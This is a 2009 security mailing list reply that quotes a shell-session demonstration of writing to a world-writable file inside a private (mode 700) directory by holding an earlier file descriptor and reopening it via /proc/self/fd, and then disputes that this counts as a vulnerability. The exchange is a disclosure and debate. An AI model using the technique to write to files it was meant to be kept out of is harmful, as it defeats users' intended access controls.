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Re: /proc filesystem allows bypassing directory permissions on Linux
From: Dan Yefimov <dan () lightwave net ru>
Date: Fri, 23 Oct 2009 23:57:58 +0400

On 23.10.2009 21:16, Pavel Machek wrote:
Hi!

This is forward from lkml, so no, I did not invent this
hole. Unfortunately, I do not think lkml sees this as a security hole,
so...

Jamie Lokier said:
  a) the current permission model under /proc/PID/fd has a security
     hole (which Jamie is worried about)

I believe its bugtraq time. Being able to reopen file with additional
permissions looks like  a security problem...

Jamie, do you have some test script? And do you want your 15 minutes
  of bugtraq fame? ;-).

The reopen does check the inode permission, but it does not require
you have any reachable path to the file.  Someone _might_ use that as
a traditional unix security mechanism, but if so it's probably quite rare.

Ok, I got this, with two users. I guess it is real (but obscure)
security hole.

So, we have this scenario. pavel/root is not doing anything interesting in
the background.

pavel () toy:/tmp$ uname -a
Linux toy.ucw.cz 2.6.32-rc3 #21 Mon Oct 19 07:32:02 CEST 2009 armv5tel GNU/Linux
pavel () toy:/tmp mkdir my_priv; cd my_priv
pavel () toy:/tmp/my_priv$ echo this file should never be writable>  unwritable_file
# lock down directory
pavel () toy:/tmp/my_priv$ chmod 700 .
# relax file permissions, directory is private, so this is safe
# check link count on unwritable_file. We would not want someone
# to have a hard link to work around our permissions, would we?
pavel () toy:/tmp/my_priv$ chmod 666 unwritable_file
pavel () toy:/tmp/my_priv$ cat unwritable_file
this file should never be writable
pavel () toy:/tmp/my_priv$ cat unwritable_file
got you
# Security problem here

[Please pause here for a while before reading how guest did it.]

Unexpected? Well, yes, to me anyway. Linux specific? Yes, I think so.

So what did happen? User guest was able to work around directory
permissions in the background, using /proc filesystem.

guest () toy:~$ bash 3<  /tmp/my_priv/unwritable_file
# Running inside nested shell
guest () toy:~$ read A<&3
guest () toy:~$ echo $A
this file should never be writable

guest () toy:~$ cd /tmp/my_priv
guest () toy:/tmp/my_priv$ ls
unwritable_file

# pavel did chmod 000, chmod 666 here
guest () toy:/tmp/my_priv$ ls
ls: cannot open directory .: Permission denied

# Linux correctly prevents guest from writing to that file
guest () toy:/tmp/my_priv$ cat unwritable_file
cat: unwritable_file: Permission denied
guest () toy:/tmp/my_priv$ echo got you>&3
bash: echo: write error: Bad file descriptor

# ...until we take a way around it with /proc filesystem. Oops.
guest () toy:/tmp/my_priv$ echo got you>  /proc/self/fd/3

That can hardly be called a real security hole, since the behaviour described above is expected, and is as it was conceived by design. If the file owner in fact allows writing to it, why should Linux prevent that from happening?
--

Sincerely Your, Dan.


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